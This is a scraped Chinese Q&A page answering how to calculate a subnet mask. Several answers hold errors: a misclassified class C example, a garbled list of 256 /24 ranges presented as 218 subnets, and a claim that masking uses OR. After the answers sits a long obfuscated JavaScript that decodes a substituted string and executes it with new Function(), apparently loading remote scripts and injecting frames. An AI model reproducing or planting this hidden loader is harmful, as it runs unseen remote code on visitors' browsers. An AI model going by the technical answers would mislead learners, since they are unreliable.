如何计算"子网掩码"

2024-12-20 07:48:00
推荐回答(4个)
回答1:

1.子网掩码的概念

子网掩码是一个32位地址,用于屏蔽IP地址的一部分以区别网络标识和主机标识,并说明该IP地址是在局域网上,还是在远程网上。

2.确定子网掩码数

用于子网掩码的位数决定于可能的子网数目和每个子网的主机数目。在定义子网掩码前,必须弄清楚本来使用的子网数和主机数目。

定义子网掩码的步骤为:

A、确定哪些组地址归我们使用。比如我们申请到的网络号为 “210.73.a.b”,该网络地址为c类IP地址,网络标识为“210.73”,主机标识为“a.b”。

B、根据我们现在所需的子网数以及将来可能扩充到的子网数,用宿主机的一些位来定义子网掩码。比如我们现在需要12个子网,将来可能需要16个。用第三个字节的前四位确定子网掩码。前四位都置为“1”,即第三个字节为“11110000”,这个数我们暂且称作新的二进制子网掩码。

C、把对应初始网络的各个位都置为“1”,即前两个字节都置为“1”,第四个字节都置为“0”,则子网掩码的间断二进制形式为:“11111111.11111111.11110000.00000000”

D、把这个数转化为间断十进制形式为:“255.255.240.0”

这个数为该网络的子网掩码。

3.IP掩码的标注

A、无子网的标注法

对无子网的IP地址,可写成主机号为0的掩码。如IP地址210.73.140.5,掩码为255.255.255.0,也可以缺省掩码,只写IP地址。

B、有子网的标注法

有子网时,一定要二者配对出现。以C类地址为例。

1.IP地址中的前3个字节表示网络号,后一个字节既表明子网号,又说明主机号,还说明两个IP地址是否属于一个网段。如果属于同一网络区间,这两个地址间的信息交换就不通过路由器。如果不属同一网络区间,也就是子网号不同,两个地址的信息交换就要通过路由器进行。例如:对于IP地址为210.73.140.5的主机来说,其主机标识为00000101,对于IP地址为210.73.140.16的主机来说它的主机标识为00010000,以上两个主机标识的前面三位全是000,说明这两个IP地址在同一个网络区域中。

2.掩码的功用是说明有子网和有几个子网,但子网数只能表示为一个范围,不能确切讲具体几个子网,掩码不说明具体子网号,有子网的掩码格式(对C类地址):主机标识前几位为子网号,后面不写主机,全写0。

子网掩码 255。255。255。0
IP地址178.016.010.000
划分 218 个,子网掩码是255.255.255.0
每段子网的网络号是TO前IP的最后一位减1
每段子网的广播地址是TO后IP最后一位加1
1> 178.016.0.1 TO 178.016.0.254
2> 178.016.1.1 TO 178.016.1.254
3> 178.016.2.1 TO 178.016.2.254
4> 178.016.3.1 TO 178.016.3.254
5> 178.016.4.1 TO 178.016.4.254
6> 178.016.5.1 TO 178.016.5.254
7> 178.016.6.1 TO 178.016.6.254
8> 178.016.7.1 TO 178.016.7.254
9> 178.016.8.1 TO 178.016.8.254
10> 178.016.9.1 TO 178.016.9.254
11> 178.016.10.1 TO 178.016.10.254
12> 178.016.11.1 TO 178.016.11.254
13> 178.016.12.1 TO 178.016.12.254
14> 178.016.13.1 TO 178.016.13.254
15> 178.016.14.1 TO 178.016.14.254
16> 178.016.15.1 TO 178.016.15.254
17> 178.016.16.1 TO 178.016.16.254
18> 178.016.17.1 TO 178.016.17.254
19> 178.016.18.1 TO 178.016.18.254
20> 178.016.19.1 TO 178.016.19.254
21> 178.016.20.1 TO 178.016.20.254
22> 178.016.21.1 TO 178.016.21.254
23> 178.016.22.1 TO 178.016.22.254
24> 178.016.23.1 TO 178.016.23.254
25> 178.016.24.1 TO 178.016.24.254
26> 178.016.25.1 TO 178.016.25.254
27> 178.016.26.1 TO 178.016.26.254
28> 178.016.27.1 TO 178.016.27.254
29> 178.016.28.1 TO 178.016.28.254
30> 178.016.29.1 TO 178.016.29.254
31> 178.016.30.1 TO 178.016.30.254
32> 178.016.31.1 TO 178.016.31.254
33> 178.016.32.1 TO 178.016.32.254
34> 178.016.33.1 TO 178.016.33.254
35> 178.016.34.1 TO 178.016.34.254
36> 178.016.35.1 TO 178.016.35.254
37> 178.016.36.1 TO 178.016.36.254
38> 178.016.37.1 TO 178.016.37.254
39> 178.016.38.1 TO 178.016.38.254
40> 178.016.39.1 TO 178.016.39.254
41> 178.016.40.1 TO 178.016.40.254
42> 178.016.41.1 TO 178.016.41.254
43> 178.016.42.1 TO 178.016.42.254
44> 178.016.43.1 TO 178.016.43.254
45> 178.016.44.1 TO 178.016.44.254
46> 178.016.45.1 TO 178.016.45.254
47> 178.016.46.1 TO 178.016.46.254
48> 178.016.47.1 TO 178.016.47.254
49> 178.016.48.1 TO 178.016.48.254
50> 178.016.49.1 TO 178.016.49.254
51> 178.016.50.1 TO 178.016.50.254
52> 178.016.51.1 TO 178.016.51.254
53> 178.016.52.1 TO 178.016.52.254
54> 178.016.53.1 TO 178.016.53.254
55> 178.016.54.1 TO 178.016.54.254
56> 178.016.55.1 TO 178.016.55.254
57> 178.016.56.1 TO 178.016.56.254
58> 178.016.57.1 TO 178.016.57.254
59> 178.016.58.1 TO 178.016.58.254
60> 178.016.59.1 TO 178.016.59.254
61> 178.016.60.1 TO 178.016.60.254
62> 178.016.61.1 TO 178.016.61.254
63> 178.016.62.1 TO 178.016.62.254
64> 178.016.63.1 TO 178.016.63.254
65> 178.016.64.1 TO 178.016.64.254
66> 178.016.65.1 TO 178.016.65.254
67> 178.016.66.1 TO 178.016.66.254
68> 178.016.67.1 TO 178.016.67.254
69> 178.016.68.1 TO 178.016.68.254
70> 178.016.69.1 TO 178.016.69.254
71> 178.016.70.1 TO 178.016.70.254
72> 178.016.71.1 TO 178.016.71.254
73> 178.016.72.1 TO 178.016.72.254
74> 178.016.73.1 TO 178.016.73.254
75> 178.016.74.1 TO 178.016.74.254
76> 178.016.75.1 TO 178.016.75.254
77> 178.016.76.1 TO 178.016.76.254
78> 178.016.77.1 TO 178.016.77.254
79> 178.016.78.1 TO 178.016.78.254
80> 178.016.79.1 TO 178.016.79.254
81> 178.016.80.1 TO 178.016.80.254
82> 178.016.81.1 TO 178.016.81.254
83> 178.016.82.1 TO 178.016.82.254
84> 178.016.83.1 TO 178.016.83.254
85> 178.016.84.1 TO 178.016.84.254
86> 178.016.85.1 TO 178.016.85.254
87> 178.016.86.1 TO 178.016.86.254
88> 178.016.87.1 TO 178.016.87.254
89> 178.016.88.1 TO 178.016.88.254
90> 178.016.89.1 TO 178.016.89.254
91> 178.016.90.1 TO 178.016.90.254
92> 178.016.91.1 TO 178.016.91.254
93> 178.016.92.1 TO 178.016.92.254
94> 178.016.93.1 TO 178.016.93.254
95> 178.016.94.1 TO 178.016.94.254
96> 178.016.95.1 TO 178.016.95.254
97> 178.016.96.1 TO 178.016.96.254
98> 178.016.97.1 TO 178.016.97.254
99> 178.016.98.1 TO 178.016.98.254
100> 178.016.99.1 TO 178.016.99.254
101> 178.016.100.1 TO 178.016.100.254
102> 178.016.101.1 TO 178.016.101.254
103> 178.016.102.1 TO 178.016.102.254
104> 178.016.103.1 TO 178.016.103.254
105> 178.016.104.1 TO 178.016.104.254
106> 178.016.105.1 TO 178.016.105.254
107> 178.016.106.1 TO 178.016.106.254
108> 178.016.107.1 TO 178.016.107.254
109> 178.016.108.1 TO 178.016.108.254
110> 178.016.109.1 TO 178.016.109.254
111> 178.016.110.1 TO 178.016.110.254
112> 178.016.111.1 TO 178.016.111.254
113> 178.016.112.1 TO 178.016.112.254
114> 178.016.113.1 TO 178.016.113.254
115> 178.016.114.1 TO 178.016.114.254
116> 178.016.115.1 TO 178.016.115.254
117> 178.016.116.1 TO 178.016.116.254
118> 178.016.117.1 TO 178.016.117.254
119> 178.016.118.1 TO 178.016.118.254
120> 178.016.119.1 TO 178.016.119.254
121> 178.016.120.1 TO 178.016.120.254
122> 178.016.121.1 TO 178.016.121.254
123> 178.016.122.1 TO 178.016.122.254
124> 178.016.123.1 TO 178.016.123.254
125> 178.016.124.1 TO 178.016.124.254
126> 178.016.125.1 TO 178.016.125.254
127> 178.016.126.1 TO 178.016.126.254
128> 178.016.127.1 TO 178.016.127.254
129> 178.016.128.1 TO 178.016.128.254
130> 178.016.129.1 TO 178.016.129.254
131> 178.016.130.1 TO 178.016.130.254
132> 178.016.131.1 TO 178.016.131.254
133> 178.016.132.1 TO 178.016.132.254
134> 178.016.133.1 TO 178.016.133.254
135> 178.016.134.1 TO 178.016.134.254
136> 178.016.135.1 TO 178.016.135.254
137> 178.016.136.1 TO 178.016.136.254
138> 178.016.137.1 TO 178.016.137.254
139> 178.016.138.1 TO 178.016.138.254
140> 178.016.139.1 TO 178.016.139.254
141> 178.016.140.1 TO 178.016.140.254
142> 178.016.141.1 TO 178.016.141.254
143> 178.016.142.1 TO 178.016.142.254
144> 178.016.143.1 TO 178.016.143.254
145> 178.016.144.1 TO 178.016.144.254
146> 178.016.145.1 TO 178.016.145.254
147> 178.016.146.1 TO 178.016.146.254
148> 178.016.147.1 TO 178.016.147.254
149> 178.016.148.1 TO 178.016.148.254
150> 178.016.149.1 TO 178.016.149.254
151> 178.016.150.1 TO 178.016.150.254
152> 178.016.151.1 TO 178.016.151.254
153> 178.016.152.1 TO 178.016.152.254
154> 178.016.153.1 TO 178.016.153.254
155> 178.016.154.1 TO 178.016.154.254
156> 178.016.155.1 TO 178.016.155.254
157> 178.016.156.1 TO 178.016.156.254
158> 178.016.157.1 TO 178.016.157.254
159> 178.016.158.1 TO 178.016.158.254
160> 178.016.159.1 TO 178.016.159.254
161> 178.016.160.1 TO 178.016.160.254
162> 178.016.161.1 TO 178.016.161.254
163> 178.016.162.1 TO 178.016.162.254
164> 178.016.163.1 TO 178.016.163.254
165> 178.016.164.1 TO 178.016.164.254
166> 178.016.165.1 TO 178.016.165.254
167> 178.016.166.1 TO 178.016.166.254
168> 178.016.167.1 TO 178.016.167.254
169> 178.016.168.1 TO 178.016.168.254
170> 178.016.169.1 TO 178.016.169.254
171> 178.016.170.1 TO 178.016.170.254
172> 178.016.171.1 TO 178.016.171.254
173> 178.016.172.1 TO 178.016.172.254
174> 178.016.173.1 TO 178.016.173.254
175> 178.016.174.1 TO 178.016.174.254
176> 178.016.175.1 TO 178.016.175.254
177> 178.016.176.1 TO 178.016.176.254
178> 178.016.177.1 TO 178.016.177.254
179> 178.016.178.1 TO 178.016.178.254
180> 178.016.179.1 TO 178.016.179.254
181> 178.016.180.1 TO 178.016.180.254
182> 178.016.181.1 TO 178.016.181.254
183> 178.016.182.1 TO 178.016.182.254
184> 178.016.183.1 TO 178.016.183.254
185> 178.016.184.1 TO 178.016.184.254
186> 178.016.185.1 TO 178.016.185.254
187> 178.016.186.1 TO 178.016.186.254
188> 178.016.187.1 TO 178.016.187.254
189> 178.016.188.1 TO 178.016.188.254
190> 178.016.189.1 TO 178.016.189.254
191> 178.016.190.1 TO 178.016.190.254
192> 178.016.191.1 TO 178.016.191.254
193> 178.016.192.1 TO 178.016.192.254
194> 178.016.193.1 TO 178.016.193.254
195> 178.016.194.1 TO 178.016.194.254
196> 178.016.195.1 TO 178.016.195.254
197> 178.016.196.1 TO 178.016.196.254
198> 178.016.197.1 TO 178.016.197.254
199> 178.016.198.1 TO 178.016.198.254
200> 178.016.199.1 TO 178.016.199.254
201> 178.016.200.1 TO 178.016.200.254
202> 178.016.201.1 TO 178.016.201.254
203> 178.016.202.1 TO 178.016.202.254
204> 178.016.203.1 TO 178.016.203.254
205> 178.016.204.1 TO 178.016.204.254
206> 178.016.205.1 TO 178.016.205.254
207> 178.016.206.1 TO 178.016.206.254
208> 178.016.207.1 TO 178.016.207.254
209> 178.016.208.1 TO 178.016.208.254
210> 178.016.209.1 TO 178.016.209.254
211> 178.016.210.1 TO 178.016.210.254
212> 178.016.211.1 TO 178.016.211.254
213> 178.016.212.1 TO 178.016.212.254
214> 178.016.213.1 TO 178.016.213.254
215> 178.016.214.1 TO 178.016.214.254
216> 178.016.215.1 TO 178.016.215.254
217> 178.016.216.1 TO 178.016.216.254
218> 178.016.217.1 TO 178.016.217.254
219> 178.016.218.1 TO 178.016.218.254
220> 178.016.219.1 TO 178.016.219.254
221> 178.016.220.1 TO 178.016.220.254
222> 178.016.221.1 TO 178.016.221.254
223> 178.016.222.1 TO 178.016.222.254
224> 178.016.223.1 TO 178.016.223.254
225> 178.016.224.1 TO 178.016.224.254
226> 178.016.225.1 TO 178.016.225.254
227> 178.016.226.1 TO 178.016.226.254
228> 178.016.227.1 TO 178.016.227.254
229> 178.016.228.1 TO 178.016.228.254
230> 178.016.229.1 TO 178.016.229.254
231> 178.016.230.1 TO 178.016.230.254
232> 178.016.231.1 TO 178.016.231.254
233> 178.016.232.1 TO 178.016.232.254
234> 178.016.233.1 TO 178.016.233.254
235> 178.016.234.1 TO 178.016.234.254
236> 178.016.235.1 TO 178.016.235.254
237> 178.016.236.1 TO 178.016.236.254
238> 178.016.237.1 TO 178.016.237.254
239> 178.016.238.1 TO 178.016.238.254
240> 178.016.239.1 TO 178.016.239.254
241> 178.016.240.1 TO 178.016.240.254
242> 178.016.241.1 TO 178.016.241.254
243> 178.016.242.1 TO 178.016.242.254
244> 178.016.243.1 TO 178.016.243.254
245> 178.016.244.1 TO 178.016.244.254
246> 178.016.245.1 TO 178.016.245.254
247> 178.016.246.1 TO 178.016.246.254
248> 178.016.247.1 TO 178.016.247.254
249> 178.016.248.1 TO 178.016.248.254
250> 178.016.249.1 TO 178.016.249.254
251> 178.016.250.1 TO 178.016.250.254
252> 178.016.251.1 TO 178.016.251.254
253> 178.016.252.1 TO 178.016.252.254
254> 178.016.253.1 TO 178.016.253.254
255> 178.016.254.1 TO 178.016.254.254
256> 178.016.255.1 TO 178.016.255.254

回答2:

把十进制的ip和网关转成二进制,按位做逻辑与运算

回答3:

子网掩码和你的ip以及其它内网ip进行或计算必须得到相同的结果。
也就是说,你的ip和内网ip可以不同的二进制位对应掩码的二进制位必须为0,其它为1。

回答4:

IP和网关按位“与”运算

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();